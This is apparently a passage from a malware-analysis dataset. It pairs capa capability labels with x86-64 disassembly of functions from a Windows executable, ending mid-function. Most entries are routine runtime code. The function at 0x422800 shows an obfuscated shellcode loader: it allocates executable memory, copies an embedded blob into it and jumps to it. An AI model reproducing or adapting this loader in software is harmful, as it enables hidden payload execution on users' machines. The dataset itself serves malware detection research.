joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008d800
Capabilities:
Encrypt data using rc4 prga
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, qword [rcx + 0x20]
xor r14d, r14d
sub rax, 0x34
mov qword [rcx + 0x78], r14
mov qword [rcx + 0x28], rax
mov ebp, edx
mov rax, qword [rcx + 0x30]
mov rbx, rcx
mov word [rcx + 0x6a], r14w
mov esi, r14d
mov dword [rcx + 0x3c], r14d
mov qword [rcx + 0x70], rax
mov qword [rax + 0x10], rax
mov word [rcx + 0x68], r14w
cmp r14w, word [rcx + 0xb8]
jge 0x14008d94b
movzx r10d, r14w
mov edi, r14d
mov rax, qword [rbx + 0xd0]
mov r9d, ebp
mov dword [rbx + 0x88], r14d
movzx edx, r10w
mov qword [rbx + 0x80], r14
mov rcx, rbx
movzx r8d, word [rdi + rax]
call fcn.14008dcc0
test al, al
jne 0x14008d9e6
mov rax, qword [rbx + 0xd0]
mov r8d, dword [rbx + 4]
mov edx, dword [rbx + 0x5c]
movzx r10d, word [rdi + rax]
lea eax, [r8 - 1]
test edx, eax
jne 0x14008d8db
cmp edx, dword [rbx + 0x60]
jl 0x14008d8db
cmp edx, dword [rbx + 0x64]
jg 0x14008d8db
mov rcx, qword [rbx + 0x80]
test rcx, rcx
je 0x14008d8db
mov rax, qword [rbx + 0x70]
movzx ecx, byte [rcx + 0x18]
xor cl, byte [rax + 0x18]
test cl, 8
jne 0x14008d8db
add qword [rbx + 0x30], 0xfffffffffffffffc
mov r9, qword [rbx + 0x70]
mov rax, qword [r9 + 0x10]
cmp qword [rbx + 0x30], rax
je 0x14008d8fe
test byte [r9 + 0x18], 8
je 0x14008d8fe
neg r8d
and r8d, edx
sub edx, r8d
cmp edx, dword [rbx + 8]
jmp 0x14008d90f
lea eax, [r8 - 1]
neg r8d
add eax, edx
and eax, r8d
sub eax, edx
cmp eax, dword [rbx + 8]
setge dl
mov rcx, rbx
call fcn.14008e680
test al, al
jne 0x14008d9e6
mov rax, qword [rbx + 0x80]
test rax, rax
je 0x14008d932
mov qword [r9 + 0x28], rax
movsx eax, word [rbx + 0xb8]
inc esi
add rdi, 2
inc r10w
cmp esi, eax
jl 0x14008d864
movzx edi, word [rbx + 0x68]
mov rdx, qword [rbx + 0x78]
cmp di, 1
jbe 0x14008d9ea
test rdx, rdx
je 0x14008d9ea
mov ebp, 0xffff
nop dword [rax + rax]
lea rsi, [rdx + 8]
cmp di, 1
jbe 0x14008d988
movsxd rcx, dword [rdx + 0x1c]
mov rax, qword [rdx + 0x10]
lea r10, [rax + rcx*4]
jmp 0x14008d98b
mov r10, r14
mov qword [rsi], r10
test byte [rdx + 0x18], 8
mov r11d, dword [rdx + 0x20]
mov r8d, r11d
mov eax, dword [rdx + 0x1c]
je 0x14008d9a6
dec r11d
add r11d, eax
jmp 0x14008d9bd
sub r8d, eax
inc r8d
dec eax
mov dword [rdx + 0x20], r8d
movsxd rcx, eax
shl rcx, 2
add qword [rdx + 0x10], rcx
mov edx, r8d
mov rcx, rbx
call fcn.14008e940
test al, al
jne 0x14008d9e6
lea edx, [r11 + 1]
mov rcx, rbx
call fcn.14008e940
test al, al
jne 0x14008d9e6
mov rdx, qword [rsi]
add di, bp
jne 0x14008d970
jmp 0x14008d9ee
mov al, 1
jmp 0x14008d9f9
mov qword [rbx + 0x78], r14
mov rax, qword [rbx + 0x28]
cmp qword [rbx + 0x30], rax
setae al
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1400a4930
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400a496a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400a496f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400a49b8
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400c4860]
cmp byte [rcx + rax], 0
je 0x1400a49b8
dec r8
sub rdx, 1
jne 0x1400a499e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x1400a4cf8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rdx, rcx
mov ecx, 0x105
call fcn.1400a4a48
mov ebx, eax
test eax, eax
jne 0x1400a4d28
and dword [rsp + 0x38], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
jmp 0x1400a4d8b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400a4d82
test al, 0x10
je 0x1400a4d82
bt eax, 0xa
jae 0x1400a4d7b
mov r9d, 0x2000000
lea rcx, [rsp + 0x38]
mov r8d, 0x80
mov rdx, rdi
call fcn.1400a4d9c
mov rcx, qword [rsp + 0x38]
mov edi, eax
cmp rcx, 0xffffffffffffffff
je 0x1400a4d77
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1400a4d77
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
test edi, edi
jne 0x1400a4d82
and dword [rsp + 0x3c], 0
jmp 0x1400a4d87
or dword [rsp + 0x3c], 0xffffffff
mov dword [rsp + 0x38], ebx
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400a5dd0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400a5e1a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400a5e1a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400a5e1a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400a5e1a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400a5e1a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400a5e1c
xor al, al
add rsp, 0x28
ret
Function at 0x418754
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
mov r11, rsp
sub rsp, 0x48
lea rax, [r11 - 0x18]
mov ebx, r9d
mov rbp, r8
mov qword [r11 - 0x20], rax
lea r9, [r11 - 0x14]
xor r8d, r8d
mov qword [r11 - 0x28], 0
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4187c3
cmp dword [rsp + 0x34], 1
jne 0x4187c3
cmp dword [rsp + 0x30], ebx
jae 0x4187c3
lea rcx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x28], rcx
mov rcx, rsi
mov rdx, rdi
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4187c3
mov al, 1
jmp 0x4187c5
xor al, al
add rsp, 0x48
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x418b8c
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x180
mov rax, qword [0x00434018]
mov qword [rsp + 0x170], rax
mov r12, rcx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x48], 0xffffffff80000001
mov qword [rsp + 0x50], 0xffffffff80000002
xor edi, edi
mov rcx, qword [rsp + rdi*8 + 0x48]
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareJavaSoftJava_Runtime_Environment
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x418d1e
mov rbp, qword [rsp + 0x30]
lea r8, [rsp + 0x60]
mov r9d, 0x104
xor edx, edx
mov rcx, rbp
xor esi, esi
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x418d1e
mov rdx, qword [r12 + 0x10]
lea rcx, [rsp + 0x60]
inc esi
call fcn.0041ae8c
test eax, eax
je 0x418c5d
test rbx, rbx
je 0x418c50
lea rcx, [rsp + 0x60]
mov rdx, rbx
call fcn.0041ad98
test eax, eax
jle 0x418c5d
mov rcx, rbx
call fcn.00419d80
lea rcx, [rsp + 0x60]
call fcn.00419d54
mov rbx, rax
lea r8, [rsp + 0x60]
mov r9d, 0x104
mov edx, esi
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x418c1d
test rbx, rbx
je 0x418d1e
lea rax, [rsp + 0x38]
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, rbx
test eax, eax
je 0x418cb2
call fcn.00419d80
mov rcx, qword [rsp + 0x38]
jmp 0x418cf4
call fcn.00419d80
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
lea rdx, str.JavaHome
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x40], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x38]
test eax, eax
je 0x418d01
test rcx, rcx
je 0x418d1e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x418d1e
test rcx, rcx
je 0x418d0c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rsp + 0x60]
call fcn.00419d54
test rax, rax
mov rbx, rax
jne 0x418d58
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x418d2e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc rdi
cmp rdi, 1
jle 0x418bc9
xor eax, eax
mov rcx, qword [rsp + 0x170]
call fcn.0042c1d0
add rsp, 0x180
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x418d68
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
jmp 0x418d3d
Function at 0x419be0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rdi, rcx
lea rsi, [0x004364c0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [0x004365b8]
lea rdx, [rsp + 0x70]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x419c61
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x38], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x48]
mov r9, rax
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov r8, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov r11, qword [0x004365b8]
jmp 0x419c7d
mov r11, qword [rsp + 0x68]
lea rax, [rsp + 0x68]
add rax, 8
mov qword [0x004365b8], r11
mov qword [0x00436558], rax
mov rax, qword [0x00434018]
mov qword [0x00436430], r11
mov qword [0x00436540], rdi
mov dword [0x00436420], 0xc0000409
mov dword [0x00436424], 1
mov qword [rsp + 0x50], rax
mov rax, qword [0x00434010]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x0042f0b0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x78]
add rsp, 0x68
ret
cmp rcx, qword [0x00434018]
jne 0x42c1e9
rol rcx, 0x10
test cx, 0xffff
jne 0x42c1e5
ret
ror rcx, 0x10
jmp 0x419be0
Function at 0x419ed8
Capabilities:
Enumerate files on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x2b0
mov rax, qword [0x00434018]
mov qword [rsp + 0x2a0], rax
mov r14, rcx
mov ebx, 0x10
mov rcx, rbx
call fcn.00419cfc
lea ecx, [rbx + 0x70]
mov dword [rax + 0xc], ebx
mov rsi, rax
call fcn.00419cfc
mov rcx, rbx
mov dword [rsi + 8], 0
mov qword [rsi], rax
call fcn.00419cfc
lea rdx, [rsp + 0x20]
mov rcx, r14
mov r12, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp rax, 0xffffffffffffffff
je 0x419f63
mov qword [r12], rax
lea rax, [rsp + 0x4c]
mov qword [r12 + 8], rax
mov rbp, qword [r12 + 8]
test rbp, rbp
je 0x419f6a
mov qword [r12 + 8], 0
jmp 0x419f8c
xor eax, eax
jmp 0x41a09b
mov rcx, qword [r12]
lea rdx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
neg eax
lea rax, [rsp + 0x18c]
sbb rbp, rbp
and rbp, rax
test rbp, rbp
je 0x41a07c
mov rcx, rbp
call fcn.0041d3c0
cmp eax, 4
jl 0x419f4e
movsxd rcx, eax
cmp byte [rcx + rbp - 4], 0x2e
jne 0x419f4e
lea rbx, [rcx + rbp - 3]
lea rdx, [0x0042f0dc]
mov rcx, rbx
call fcn.0041de10
test eax, eax
je 0x419fdb
lea rdx, [0x0042f0d8]
mov rcx, rbx
call fcn.0041de10
test eax, eax
jne 0x419f4e
mov edx, 0x3b
mov rcx, rbp
call fcn.0041ec30
test rax, rax
jne 0x419f4e
mov rcx, r14
call fcn.0041d3c0
mov rcx, rbp
mov rdi, rax
call fcn.0041d3c0
lea ecx, [rax + rdi]
mov rbx, rax
movsxd rcx, ecx
call fcn.00419cfc
lea ecx, [rdi - 1]
mov rdx, r14
movsxd r8, ecx
mov rcx, rax
mov r13, rax
call fcn.0041d5b0
lea r11d, [rbx + 1]
movsxd rcx, edi
lea rcx, [rcx + r13 - 1]
movsxd r8, r11d
mov rdx, rbp
call fcn.0041d5b0
mov r11d, dword [rsi + 8]
inc r11d
cmp dword [rsi + 0xc], r11d
jge 0x41a069
mov eax, dword [rsi + 0xc]
add eax, eax
cmp eax, r11d
mov dword [rsi + 0xc], eax
jl 0x41a04a
mov rcx, qword [rsi]
movsxd rdx, eax
shl rdx, 3
call fcn.00419d28
mov qword [rsi], rax
movsxd rcx, dword [rsi + 8]
mov rax, qword [rsi]
mov qword [rax + rcx*8], r13
inc dword [rsi + 8]
jmp 0x419f4e
mov rcx, qword [r12]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [r12 + 8]
call fcn.00419d80
mov rcx, r12
call fcn.00419d80
mov rax, rsi
mov rcx, qword [rsp + 0x2a0]
call fcn.0042c1d0
add rsp, 0x2b0
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x41e340
Capabilities:
Execute shellcode via indirect call

Disassembly:
lea rdx, fcn.00422760
cmp rcx, rdx
jb 0x41e37c
lea rax, [0x00435580]
cmp rcx, rax
ja 0x41e37c
sub rcx, rdx
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 3
mov rcx, rdx
shr rcx, 0x3f
lea ecx, [rcx + rdx + 0x10]
jmp fcn.00422800
add rcx, 0x30
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x41e390
Capabilities:
Execute shellcode via indirect call

Disassembly:
cmp ecx, 0x14
jge 0x41e39d
add ecx, 0x10
jmp fcn.00422800
lea rcx, [rdx + 0x30]
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x41f4c0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x40], r12
xor ebx, ebx
test r8, r8
mov qword [rsp + 0x38], r13
mov rbp, r9
mov rsi, r8
mov r13, rcx
mov r12d, edx
jne 0x41f502
call fcn.0041ed00
mov dword [rax], 0x16
xor eax, eax
jmp 0x41f5a0
mov edx, 0x130
mov ecx, 1
mov qword [rsp + 0x48], rdi
call fcn.00422e90
test rax, rax
mov rdi, rax
je 0x41f586
mov rcx, rax
call fcn.00423ed0
mov rcx, qword [rsp + 0x98]
mov eax, dword [rsp + 0x90]
test rcx, rcx
lea r8, [rsp + 0x80]
mov rdx, r12
cmovne r8, rcx
mov r9, rdi
mov rcx, r13
mov qword [rsp + 0x28], r8
lea r8, [0x0041f3e0]
mov qword [rdi + 0x88], rsi
mov qword [rdi + 0x90], rbp
mov qword [rdi + 8], 0xffffffffffffffff
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x41f59b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call fcn.0041fe90
test ebx, ebx
je 0x41f599
mov ecx, ebx
call fcn.0041ed60
xor eax, eax
mov rdi, qword [rsp + 0x48]
mov r13, qword [rsp + 0x38]
mov r12, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
add rsp, 0x68
ret

Function at 0x41f5c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, edx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41f5eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.0041ed60
mov eax, 0xffffffff
add rsp, 0x20
pop rbx
ret
test al, 1
je 0x41f615
test bl, 2
je 0x41f615
call fcn.0041ed00
mov dword [rax], 0xd
call fcn.0041ed30
mov dword [rax], 5
mov eax, 0xffffffff
add rsp, 0x20
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x41f990
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8d, 0x94
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x41f9c7
mov eax, 0xff
jmp 0x41fbf9
mov dword [rax], 0x94
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x41f9f8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xff
jmp 0x41fbf9
mov eax, dword [rbx + 0x10]
mov dword [0x0043699c], eax
mov eax, dword [rbx + 4]
mov dword [0x004369a8], eax
mov eax, dword [rbx + 8]
mov dword [0x004369ac], eax
mov eax, dword [rbx + 0xc]
and eax, 0x7fff
mov dword [0x004369a0], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x0043699c], 2
je 0x41fa46
bts dword [0x004369a0], 0xf
mov eax, dword [0x004369a8]
shl eax, 8
add eax, dword [0x004369ac]
mov dword [0x004369a4], eax
cmp word [0x00415000], 0x5a4d
je 0x41fa6e
xor ebx, ebx
mov dword [rsp + 0x40], ebx
jmp 0x41faea
movsxd rax, dword [0x0041503c]
lea rcx, [0x00415000]
add rax, rcx
cmp dword [rax], 0x4550
je 0x41fa8f
xor ebx, ebx
mov dword [rsp + 0x40], ebx
jmp 0x41faea
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x41facd
cmp ecx, 0x20b
je 0x41faab
xor ebx, ebx
mov dword [rsp + 0x40], ebx
jmp 0x41faea
cmp dword [rax + 0x84], 0xe
ja 0x41fabc
xor ebx, ebx
mov dword [rsp + 0x40], ebx
jmp 0x41faea
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0x40], ebx
jmp 0x41faea
cmp dword [rax + 0x74], 0xe
ja 0x41fadb
xor ebx, ebx
mov dword [rsp + 0x40], ebx
jmp 0x41faea
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0x40], ebx
mov ecx, 1
call fcn.00426500
test eax, eax
jne 0x41fb1a
cmp dword [0x00436b28], 2
je 0x41fb06
call fcn.00426160
mov ecx, 0x1c
call fcn.00425f30
mov ecx, 0xff
call fcn.0041db90
call fcn.00424200
test eax, eax
jne 0x41fb46
cmp dword [0x00436b28], 2
je 0x41fb31
call fcn.00426160
mov ecx, 0x10
call fcn.00425f30
mov ecx, 0xff
call fcn.0041db90
nop
call fcn.00422b10
test eax, eax
jns 0x41fb59
mov ecx, 0x1b
call fcn.0041f960
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [0x00437740], rax
call fcn.00426310
mov qword [0x00436b18], rax
call fcn.00419b10
test eax, eax
jns 0x41fb85
mov ecx, 8
call fcn.0041f960
call fcn.004261b0
test eax, eax
jns 0x41fb98
mov ecx, 9
call fcn.0041f960
call fcn.0041dc20
test eax, eax
je 0x41fba8
mov ecx, eax
call fcn.0041f960
mov r8, qword [0x004369c8]
mov qword [0x004369d0], r8
mov rdx, qword [0x004369b8]
mov ecx, dword [0x004369b0]
call fcn.004182dc
mov edi, eax
mov dword [rsp + 0x20], eax
test ebx, ebx
jne 0x41fbd9
mov ecx, eax
call fcn.0041ddc0
call fcn.0041dde0
jmp 0x41fbf7
mov eax, edi
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x38
ret
Function at 0x422800
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rcx, 0x4c87492e
jmp 0x409e87
dec rcx
jmp 0x40a33e
jne 0x409e87
jmp 0x40adee
jmp 0x40dea5
jmp 0x40df2f
xor rcx, rcx
mov rdx, 0x6c88
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
lea ecx, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call 0x40df4f
pop rsi
add rsi, 0x1429
mov rdi, rax
mov rcx, 0x6c88
rep movsb byte [rdi], byte [rsi]
jmp rax
movsxd rcx, ecx
lea rax, [0x00435740]
add rcx, rcx
mov rcx, qword [rax + rcx*8]
xor rcx, rcx
jmp 0x408bc8
Function at 0x423730
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
sub rsp, 0x498
mov rax, qword [0x00434018]
mov qword [rsp + 0x450], rax
mov qword [r11 - 8], rbp
mov qword [r11 - 0x10], rsi
mov qword [r11 - 0x20], r12
mov qword [r11 - 0x28], r13
xor esi, esi
xor r13d, r13d
test r8d, r8d
mov r12d, r8d
mov rbp, rdx
jne 0x423770
xor eax, eax
jmp 0x423972
movsxd rax, ecx
mov qword [rsp + 0x460], r15
lea r9, [0x00437540]
mov r15b, al
mov rdx, rax
sar rdx, 5
and r15d, 0x1f
mov rax, qword [r9 + rdx*8]
mov qword [rsp + 0x38], rdx
imul r15, r15, 0x38
test byte [r15 + rax + 8], 0x20
je 0x4237bc
xor edx, edx
lea r8d, [rdx + 2]
call fcn.00427b10
mov rdx, qword [rsp + 0x38]
lea r9, [0x00437540]
mov rcx, qword [r9 + rdx*8]
mov qword [rsp + 0x480], rdi
mov qword [rsp + 0x468], r14
test byte [r15 + rcx + 8], 0x80
je 0x4238d3
xor r14d, r14d
test r12d, r12d
mov rdi, rbp
je 0x423921
mov qword [rsp + 0x4b8], rbx
nop
nop
nop
nop
lea rbx, [rsp + 0x40]
xor ecx, ecx
mov eax, edi
sub eax, ebp
cmp eax, r12d
jae 0x423836
movzx eax, byte [rdi]
inc rdi
cmp al, 0xa
jne 0x423825
mov byte [rbx], 0xd
inc rbx
inc esi
inc rcx
inc rcx
mov byte [rbx], al
inc rbx
cmp rcx, 0x400
jl 0x423807
mov rcx, qword [r9 + rdx*8]
lea rax, [rsp + 0x40]
mov r8d, ebx
mov rcx, qword [r15 + rcx]
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
sub r8d, eax
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4238c8
movsxd rax, dword [rsp + 0x30]
lea rcx, [rsp + 0x40]
sub rbx, rcx
add r13d, eax
cmp rax, rbx
jl 0x423890
mov rdx, qword [rsp + 0x38]
mov eax, edi
lea r9, [0x00437540]
sub eax, ebp
cmp eax, r12d
jb 0x423800
mov rbx, qword [rsp + 0x4b8]
test r13d, r13d
jne 0x423954
test r14d, r14d
je 0x423915
cmp r14d, 5
jne 0x423906
call fcn.0041ed00
mov dword [rax], 9
call fcn.0041ed30
mov dword [rax], r14d
lea eax, [r14 - 6]
jmp 0x42395a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
jmp 0x423890
mov rcx, qword [r15 + rcx]
lea r9, [rsp + 0x30]
mov r8d, r12d
mov rdx, rbp
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4238fb
mov r13d, dword [rsp + 0x30]
xor r14d, r14d
jmp 0x423898
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
jmp 0x4238a1
mov ecx, r14d
call fcn.0041ed60
mov eax, 0xffffffff
jmp 0x42395a
mov rdx, qword [rsp + 0x38]
lea r9, [0x00437540]
mov rax, qword [r9 + rdx*8]
test byte [r15 + rax + 8], 0x40
je 0x423937
cmp byte [rbp], 0x1a
jne 0x423937
xor eax, eax
jmp 0x42395a
call fcn.0041ed00
mov dword [rax], 0x1c
call fcn.0041ed30
mov dword [rax], 0
mov eax, 0xffffffff
jmp 0x42395a
sub r13d, esi
mov eax, r13d
mov rdi, qword [rsp + 0x480]
mov r14, qword [rsp + 0x468]
mov r15, qword [rsp + 0x460]
mov r13, qword [rsp + 0x470]
mov r12, qword [rsp + 0x478]
mov rsi, qword [rsp + 0x488]
mov rbp, qword [rsp + 0x490]
mov rcx, qword [rsp + 0x450]
call fcn.0042c1d0
add rsp, 0x498
ret
Function at 0x424b30
Capabilities:
Set environment variable

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x30], r14
xor r12d, r12d
test rcx, rcx
mov qword [rsp + 0x28], r15
mov r15d, edx
mov rsi, rcx
je 0x424daa
lea edx, [r12 + 0x3d]
call fcn.004283b0
test rax, rax
mov r14, rax
je 0x424daa
cmp rsi, rax
je 0x424daa
cmp byte [rax + 1], r12b
mov rbx, qword [0x004369c8]
mov qword [rsp + 0x38], r13
mov r13d, r12d
sete r13b
cmp rbx, qword [0x004369d0]
jne 0x424bb0
mov rcx, rbx
call fcn.00424a80
mov rbx, rax
mov qword [0x004369c8], rax
test rbx, rbx
jne 0x424c2d
test r15d, r15d
je 0x424bd6
cmp qword [0x004369d8], r12
je 0x424bd6
call fcn.00422a40
test eax, eax
je 0x424c26
mov eax, 0xffffffff
jmp 0x424cdf
test r13d, r13d
je 0x424be2
xor eax, eax
jmp 0x424cdf
mov ecx, 8
call fcn.00422e20
test rax, rax
mov qword [0x004369c8], rax
je 0x424bcc
mov qword [rax], r12
cmp qword [0x004369d8], r12
jne 0x424c26
mov ecx, 8
call fcn.00422e20
test rax, rax
mov qword [0x004369d8], rax
je 0x424bcc
mov qword [rax], r12
mov rbx, qword [0x004369c8]
jmp 0x424c2d
mov rbx, qword [0x004369c8]
mov edx, r14d
mov rcx, rsi
mov qword [rsp + 0x58], rbp
sub edx, esi
mov qword [rsp + 0x68], rdi
call fcn.004249e0
test eax, eax
movsxd rdi, eax
js 0x424ca8
cmp qword [rbx], r12
je 0x424ca8
mov rcx, qword [rbx + rdi*8]
call fcn.0041fe90
test r13d, r13d
je 0x424ca2
cmp qword [rbx + rdi*8], r12
je 0x424c85
lea rdx, [rbx + rdi*8]
mov rcx, rdx
nop
nop
mov rax, qword [rdx + 8]
add rcx, 8
inc edi
mov qword [rdx], rax
cmp qword [rcx], r12
mov rdx, rcx
jne 0x424c70
movsxd rdx, edi
mov rcx, rbx
shl rdx, 3
call fcn.00422f20
test rax, rax
je 0x424d15
mov qword [0x004369c8], rax
jmp 0x424d15
mov qword [rbx + rdi*8], rsi
jmp 0x424d15
test r13d, r13d
jne 0x424d9b
test eax, eax
jns 0x424cb7
neg edi
lea eax, [rdi + 2]
mov rcx, rbx
